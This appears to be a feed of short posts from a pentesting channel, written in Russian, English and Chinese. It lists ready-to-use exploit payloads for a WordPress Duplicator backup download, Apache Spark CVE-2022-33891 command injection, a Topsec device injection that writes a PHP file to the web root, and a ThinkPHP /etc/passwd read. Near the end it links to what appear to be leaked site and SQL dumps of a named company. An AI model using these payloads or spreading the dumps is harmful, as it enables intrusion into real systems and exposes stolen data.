Эффект пентестера

WordPress Plugin Duplicator < 1.4.7 Backup download. The backup file can be downloaded using the "is_daws" parameter. url/backups-dup-lite/dup-installer/main.installer.php

CVE-2022-33891 - Apache Spark Shell Command Injection url+/?doAs=sleep 7

天融信-上网行为管理系统 一句话木马 /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20 echo%20%27%3C?php%20phpinfo();?%3E%27%20%3E%3E%20/var/www/html/1.php%0a

Microsoft снова блокирует макросы в документах https://support.microsoft.com/ru-ru/topic/%D0%BF%D0%BE%D1%82%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE-%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B9-%D0%BC%D0%B0%D0%BA%D1%80%D0%BE%D1%81-%D0%B7%D0%B0%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD-0952faa0-37e7-4316-b61d-5b5ed6024216

CVE-2022-33891: Apache Spark shell command injection vulnerability via Spark UI poc:http://x.x.x.x/doAs?='whoami'

What is SQL injection, how to detect and exploit it 🎯 Highly detailed article, worth reading https://book.hacktricks.xyz/pentesting-web/sql-injection #sql

#thinkphp5.X Arbitrary File Read /?s=index/think\\Error/appError&errno=1&errstr=1&errline=1&errfile=../../../etc/passwd https://github.com/momika233/TP5_Arbitrary_file_read

#wp

Link to shared torrent: magnet:?xt=urn:btih:1b235ce3d62b149c6117b0a5179844102b468c04&dn=npovs&tr=udp://9.rarbg.to:2920&tr=udp://tracker.opentrackr.org:1337&tr=udp://exodus.desync.com:6969

bmcsolution.com https://anonfiles.com/Hck9zcmdy4/bmcsolution.com-5-30-2022.tar.7z_001 https://anonfiles.com/T9j1zfmcy6/bmcsolution.com-5-30-2022.tar.7z_002 SQLS https://anonfiles.com/Dfj6zbm8ya/sbmcsolution.com_sqls_7z

hello intruder alert

hello intruder

#OSEP #FuckCopyrights